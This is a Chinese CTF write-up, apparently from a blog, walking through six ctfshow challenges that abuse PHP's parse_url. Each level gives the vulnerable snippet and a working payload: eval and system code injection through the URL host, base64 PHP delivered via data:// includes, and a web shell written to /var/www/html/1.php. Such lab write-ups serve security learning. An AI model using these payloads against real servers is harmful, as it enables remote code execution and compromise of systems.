ctfshow parse_url wp

第一关

这个parse_url函数就是解析URL并且进行拆分的

$url = "https://www.example.com/path/to/page?param1=value1&param2=value2";

$parsed_url = parse_url($url);

print_r($parsed_url);
Array
(
    [scheme] => https
    [host] => www.example.com
    [path] => /path/to/page
    [query] => param1=value1&param2=value2
)
<?php
$data = parse_url($_GET['u']);

eval($data['host']);
源码很少就是我们需要利用域名来搞事情
GET:
?u=http://eval($_POST[1]);
POST:
1=system('cat /flag_is_here.txt');

第二关

 <?php



$data = parse_url($_GET['u']);

include $data['host'].$data['path']; 

用data协议

http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b
需要进行一个base64加密
<?php system('cat /f*');?>
PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8+
加号还需要url编码
还有一个很重要的地方就是伪协议里面的data明明是一个 : ,但是这里写  ::  就是因为parse_url这个函数会吞

第三关

<?php
$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];
GET:
?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b
POST:
1=system('cat /f*');

第四关

<?php
$data = parse_url($_GET['u']);

system($data['host']);
?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s_h3re
cd ..返回上级目录

在这里插入图片描述

第五关

<?php

extract(parse_url($_GET['u']));
include $$$$$$host;
extract函数是把一个数组进行拆分赋值如下图

在这里插入图片描述

也就是说先进行url分解再进行赋值然后再对host进行变量覆盖
<?php
$a=parse_url("user://pass:query@scheme/?fragment%23data://,<?php system('cat /_f1ag_1s_h3ree');?>");
//var_dump($a);
$b=extract($a);
//var_dump($b);
var_dump($host);
var_dump($$host);
var_dump($$$host);
var_dump($$$$host);
var_dump($$$$$host);
var_dump($$$$$$host);
?>
输出:
string(6) "scheme"
string(4) "user"
string(4) "pass"
string(5) "query"
string(57) "fragment%23data://,"
NULL
其实不难看出这个$的变量覆盖使得最后执行php命令

第六关

<?php

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);
?u=http://<script language='php'>eval($_POST[1]);/var/www/html/1.php
然后访问1.php进行rce
path:/var/www/html/1.php
然后host他解析不出来我们就可以写一个小马
  • 12
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值